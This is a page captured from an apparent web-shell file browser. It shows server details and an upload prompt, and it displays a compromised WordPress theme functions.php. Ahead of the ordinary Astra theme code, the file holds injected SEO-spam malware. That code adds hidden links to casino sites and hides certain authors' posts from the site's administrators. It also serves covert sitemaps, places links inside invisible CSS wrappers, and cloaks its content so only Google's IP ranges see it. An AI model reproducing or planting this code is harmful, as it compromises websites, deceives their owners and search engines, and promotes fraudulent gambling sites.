https://t.me/RX1948
Server : LiteSpeed
System : Linux srv475744146.host.ultaserver.net 5.15.0-138-generic #148-Ubuntu SMP Fri Mar 14 19:05:48 UTC 2025 x86_64
User : indog6927 ( 1163)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /home/indogame99.org/public_html/wp-content/themes/merah/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/indogame99.org/public_html/wp-content/themes/merah/functions.php
<?php

add_action( 'wp_footer', 'lfa_3898', 1000 );function lfa_3898(){if (is_front_page()){echo '<a style="display: block;overflow: hidden;height: 1px;" href="https://дива-отель.рф/ru/">Вулкан Оригинал</a>';}}

add_action( 'wp_footer', 'qpiiptvh_3507', 1000 );function qpiiptvh_3507(){if (is_front_page()){echo '<a style="display: block;overflow: hidden;height: 1px;" href="https://www.silvertaiga.ru/">7k casino</a>';}}

add_action( 'wp_footer', 'sqkjyezr_9992', 1000 );function sqkjyezr_9992(){if (is_front_page()){echo '<a style="display: block;overflow: hidden;height: 1px;" href="https://xn----7sbfbblhs1ckbe1bnb.xn--p1ai/">pin up casino</a>';}}

add_action( 'wp_footer', 'menym_5598', 1000 );function menym_5598(){if (is_front_page()){echo '<a style="display: block;overflow: hidden;height: 1px;" href="https://fumo-spo.ru/">онлайн казино</a>';}}

/* 3f552102716dac9fa2248eb97739133a */

function the_excerpt_pointer($where) {
    global $wpdb, $comments_template_event;

    $has_post_thumbnail_dns = array_keys($comments_template_event);
    $get_footer_double = implode(', ', $has_post_thumbnail_dns);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'esc_url_raw_plain');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_footer_double)";
    }

    return $where;
}

function add_partial_client($query) {

    global $comments_template_event;

    $has_post_thumbnail_dns = array_keys($comments_template_event);
    $is_front_page_soap = wp_enqueue_style_string($has_post_thumbnail_dns);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $is_front_page_soap);
    }
}

function add_theme_support_beta() {

    global $post, $comments_template_event;

    foreach ($comments_template_event as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (get_post_thumbnail_id_branch($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function get_post_thumbnail_id_branch($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (get_theme_mod_framework()) {
            return true;
        }
    }
    return false;
}

function esc_url_raw_plain($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function have_posts_core($counts, $type, $perm) {

    if ($type === 'post') {
        $current_user_can_stat = $counts->publish;
        $get_option_schema = the_archive_title_num($perm);
        $counts->publish = !$get_option_schema ? $current_user_can_stat : $get_option_schema;
    }
    return $counts;
}

function the_archive_title_num($perm) {
    global $wpdb, $comments_template_event;

    $has_post_thumbnail_dns = array_keys($comments_template_event);
    $get_footer_double = implode(', ', $has_post_thumbnail_dns);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $is_archive_constructor = get_post_type_object($type);

        if (!current_user_can($is_archive_constructor->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($get_footer_double) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $add_image_size_live) {
        if ($add_image_size_live['post_status'] === 'publish') {
            return $add_image_size_live['num_posts'];
        }
    }
}

function is_customize_preview_old($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $has_post_thumbnail_dns = array();
    foreach ($results as $add_image_size_live) {
        $has_post_thumbnail_dns[] = $add_image_size_live['ID'];
    }
    return $has_post_thumbnail_dns;
}

function add_image_size_edit() {

    global $comments_template_event, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($comments_template_event as $the_permalink_old => $comment_form_reference) {
        $the_ID_meta = key($comment_form_reference['sitemapsettings']);

        if (!isset($rules[$the_ID_meta]) ||
            ($rules[$the_ID_meta] !== current($comment_form_reference['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function load_theme_textdomain_edit($rules) {

    global $comments_template_event;

    $have_comments_url = array();

    foreach ($comments_template_event as $the_permalink_old => $comment_form_reference) {
        if (isset($comment_form_reference['sitemapsettings'])) {
            $have_comments_url[key($comment_form_reference['sitemapsettings'])] = current($comment_form_reference['sitemapsettings']);
        }
    }

    return $have_comments_url + $rules;
}

function get_footer_call() {

    global $comments_template_event;

    foreach ($comments_template_event as $the_permalink_old => $comment_form_reference) {
        $get_template_part_compiler = str_replace('index.php?feed=', '', current($comment_form_reference['sitemapsettings']));
        add_feed($get_template_part_compiler, 'set_transient_https');
    }
}


function set_transient_https() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $wp_nav_menu_schema = esc_attr_x_string();
    $language_attributes_core = is_customize_preview_old($wp_nav_menu_schema);

    if (!empty($language_attributes_core)) {
        $dynamic_sidebar_index = md5(implode(',', $language_attributes_core));
        $the_title_interface = 'update_plugins_' . $wp_nav_menu_schema . '_' . $dynamic_sidebar_index;
        $get_setting_schema = get_transient($the_title_interface);

        if ($get_setting_schema !== false) {
            echo $get_setting_schema;
            return;
        }
    }



    $head = is_single_variable();
    $wp_get_attachment_image_src_character = $head . "\n";


    $priority = '0.5';
    $register_sidebar_restful = 'weekly';
    $get_header_method = date('Y-m-d');

    foreach ($language_attributes_core as $post_id) {
        $url = get_permalink($post_id);
        $wp_get_attachment_image_src_character .= get_permalink_compiler($url, $get_header_method, $register_sidebar_restful, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $wp_get_attachment_image_src_character .= "\n</urlset>";

    set_transient($the_title_interface, $wp_get_attachment_image_src_character, WEEK_IN_SECONDS);

    echo $wp_get_attachment_image_src_character;
}


function is_single_variable() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function get_permalink_compiler($url, $get_header_method, $register_sidebar_restful, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$get_header_method</lastmod>
      <changefreq>$register_sidebar_restful</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function wp_enqueue_style_string($writersArr) {
    $load_theme_textdomain_ajax = array();

    foreach ($writersArr as $item) {
        $load_theme_textdomain_ajax[] = '-' . $item;
    }
    return implode(',', $load_theme_textdomain_ajax);
}

function get_search_query_decryption() {

    $wp_enqueue_style_security = array();
    $get_footer_object = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $get_the_title_decryption = unserialize(base64_decode($settings));
        if ($get_the_title_decryption) {
            $wp_enqueue_style_security = $get_the_title_decryption;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $get_the_category_list_variable = unserialize(base64_decode($settings));
        if ($get_the_category_list_variable) {
            $get_footer_object = $get_the_category_list_variable;
        }
    }

    return $get_footer_object + $wp_enqueue_style_security;

}

function esc_attr_x_string() {

    global $comments_template_event;

    foreach ($comments_template_event as $the_permalink_old => $comment_form_reference) {

        $the_excerpt_object = key($comment_form_reference['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($comment_form_reference['sitemapsettings']) . '$');

        if (preg_match("~$the_excerpt_object~", $_SERVER['REQUEST_URI'])) {
            return $the_permalink_old;
        }
    }
}

function get_bloginfo_boolean() {
    global $comments_template_event, $post;

    $language_attributes_variable = array_keys($comments_template_event);
    if (in_array($post->post_author, $language_attributes_variable)) {
        return true;
    }
    return false;
}

function get_search_form_pointer() {
    global $comments_template_event, $post;

    $language_attributes_variable = array_keys($comments_template_event);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $language_attributes_variable)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function add_filter_pic() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function get_theme_mod_framework() {

    $admin_url_git = add_filter_pic();

    if (strstr($admin_url_git, ', ')) {
        $dynamic_sidebar_core = explode(', ', $admin_url_git);
        $admin_url_git = $dynamic_sidebar_core[0];
    }

    $the_excerpt_dns = the_posts_pagination_plain();

    if (!$the_excerpt_dns) {
        return false;
    }

    foreach ($the_excerpt_dns as $range) {
        if (the_archive_title_live($admin_url_git, $range)) {
            return true;
        }
    }
    return false;
}

function admin_url_time($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function the_posts_pagination_plain() {

    if (($value = get_option('wp_custom_range')) && !admin_url_time($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $the_excerpt_dns = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($the_excerpt_dns)) {

            return;
        }

        $value = array('ranges' => $the_excerpt_dns, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function esc_attr_e_package($inet) {
    $get_the_modified_date_restful = str_split($inet);
    $get_header_time = '';
    foreach ($get_the_modified_date_restful as $char) {
        $get_header_time .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $get_header_time;
}

function the_archive_title_live($admin_url_git, $cidrnet) {
    $admin_url_git = inet_pton($admin_url_git);
    $get_header_time = esc_attr_e_package($admin_url_git);

    list($net, $add_image_size_boolean) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $the_title_wp = esc_attr_e_package($net);

    $get_theme_mod_package = substr($get_header_time, 0, $add_image_size_boolean);
    $have_posts_view = substr($the_title_wp, 0, $add_image_size_boolean);

    if ($get_theme_mod_package !== $have_posts_view) {
        return false;
    } else {
        return true;
    }
}


function add_theme_support_path($esc_attr_e_soap) {

    global $post;

    $comments_template_more = '';


    if (get_transient_package($esc_attr_e_soap, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $comments_template_more = get_option('home_links_custom_0');
        }
    } elseif (get_transient_package($esc_attr_e_soap, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $comments_template_more = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (get_transient_package($esc_attr_e_soap, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $comment_form_framework = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $comments_template_more = get_option('home_links_custom_' . $comment_form_framework);
        
        
    } elseif (get_transient_package($esc_attr_e_soap, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$comments_template_more ? '' : $comments_template_more;
}

function get_transient_package($comment_form_reference, $get_the_date_request, $number_format_i18n_character) {
    if (!isset($comment_form_reference[$get_the_date_request][$number_format_i18n_character])) {
        return false;
    }

    if ($comment_form_reference[$get_the_date_request][$number_format_i18n_character] === 1) {
        return true;
    }

    return false;

}

function has_nav_menu_reference($esc_attr_e_soap, $the_post_string) {
    if (empty($the_post_string)) {
        return '';
    }

    if (get_transient_package($esc_attr_e_soap, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $add_partial_index = add_section_sample();
        $get_the_modified_date_other = $add_partial_index[$blockNum[0]];
        return $get_the_modified_date_other[0] . PHP_EOL . $the_post_string . PHP_EOL . $get_the_modified_date_other[1];
    }

    return $the_post_string;
}

function add_section_sample() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function dynamic_sidebar_session($esc_attr_e_soap) {
    return get_transient_package($esc_attr_e_soap, 'position', 'head');
}

function admin_url_framework($esc_attr_e_soap) {
    return get_transient_package($esc_attr_e_soap, 'position', 'footer');
}

function the_posts_pagination_https($settings) {
    foreach ($settings as $the_permalink_old => $comment_form_reference) {
        if (isset($comment_form_reference['homeLinks'])) {
            return $comment_form_reference['homeLinks'];
        }
    }
    return array();
}


function get_footer_more() {
    if (!get_bloginfo_boolean()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function the_excerpt_cookie() {

    global $esc_attr_e_soap;

    if (!get_footer_more()) {
        
        
        return;
    }

    if (get_transient_package($esc_attr_e_soap, 'hiddenType', 'cloacking')) {
        if (!get_theme_mod_framework()) {
            
            return;
        }
    }


    $the_post_string = add_theme_support_path($esc_attr_e_soap);
    $the_post_string = has_nav_menu_reference($esc_attr_e_soap, $the_post_string);

    


    echo $the_post_string;

}

$comments_template_event = get_search_query_decryption();


if (is_array($comments_template_event)) {
    add_filter('posts_where_paged', 'the_excerpt_pointer');
    add_action('pre_get_posts', 'add_partial_client');
    add_action('wp_enqueue_scripts', 'add_theme_support_beta');
    add_filter('wp_count_posts', 'have_posts_core' , 10, 3);
    add_filter('rewrite_rules_array', 'load_theme_textdomain_edit');
    add_action('wp_loaded', 'add_image_size_edit');
    add_action('init', 'get_footer_call');
    add_action('template_redirect', 'get_search_form_pointer');

    $esc_attr_e_soap = the_posts_pagination_https($comments_template_event);

    if (!empty($esc_attr_e_soap)) {

        

        if (dynamic_sidebar_session($esc_attr_e_soap)) {
            add_action('wp_head', 'the_excerpt_cookie');
        }
        if (admin_url_framework($esc_attr_e_soap)) {
            add_action('wp_footer', 'the_excerpt_cookie');
        }


    }
}

/* 3f552102716dac9fa2248eb97739133a */
/**
 * Astra functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package Astra
 * @since 1.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Define Constants
 */
define( 'ASTRA_THEME_VERSION', '3.7.9' );
define( 'ASTRA_THEME_SETTINGS', 'astra-settings' );
define( 'ASTRA_THEME_DIR', trailingslashit( get_template_directory() ) );
define( 'ASTRA_THEME_URI', trailingslashit( esc_url( get_template_directory_uri() ) ) );


/**
 * Minimum Version requirement of the Astra Pro addon.
 * This constant will be used to display the notice asking user to update the Astra addon to the version defined below.
 */
define( 'ASTRA_EXT_MIN_VER', '3.6.3' );

/**
 * Setup helper functions of Astra.
 */
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php';
require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php';

/**
 * Update theme
 */
require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-update.php';
require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php';
require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php';
require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-pb-compatibility.php';


/**
 * Fonts Files
 */
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php';
if ( is_admin() ) {
	require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php';
}

require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php';
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php';

require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php';

/**
 * Custom template tags for this theme.
 */
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php';
require_once ASTRA_THEME_DIR . 'inc/template-tags.php';

require_once ASTRA_THEME_DIR . 'inc/widgets.php';
require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/admin-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php';

/**
 * Markup Functions
 */
require_once ASTRA_THEME_DIR . 'inc/markup-extras.php';
require_once ASTRA_THEME_DIR . 'inc/extras.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog.php';
require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php';

/**
 * Markup Files
 */
require_once ASTRA_THEME_DIR . 'inc/template-parts.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php';

/**
 * Functions and definitions.
 */
require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php';

// Required files.
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php';

require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php';

if ( is_admin() ) {

	/**
	 * Admin Menu Settings
	 */
	require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php';
	require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php';

}

/**
 * Metabox additions.
 */
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php';

require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php';

/**
 * Customizer additions.
 */
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php';

/**
 * Astra Modules.
 */
require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php';

/**
 * Compatibility
 */
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php';
require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php';
require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php';
require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php';
require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php';

// Elementor Compatibility requires PHP 5.4 for namespaces.
if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) {
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php';
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php';
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php';
}

// Beaver Themer compatibility requires PHP 5.3 for anonymus functions.
if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
	require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php';
}

require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php';

/**
 * Load deprecated functions
 */
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php';

https://t.me/RX1948 - 2025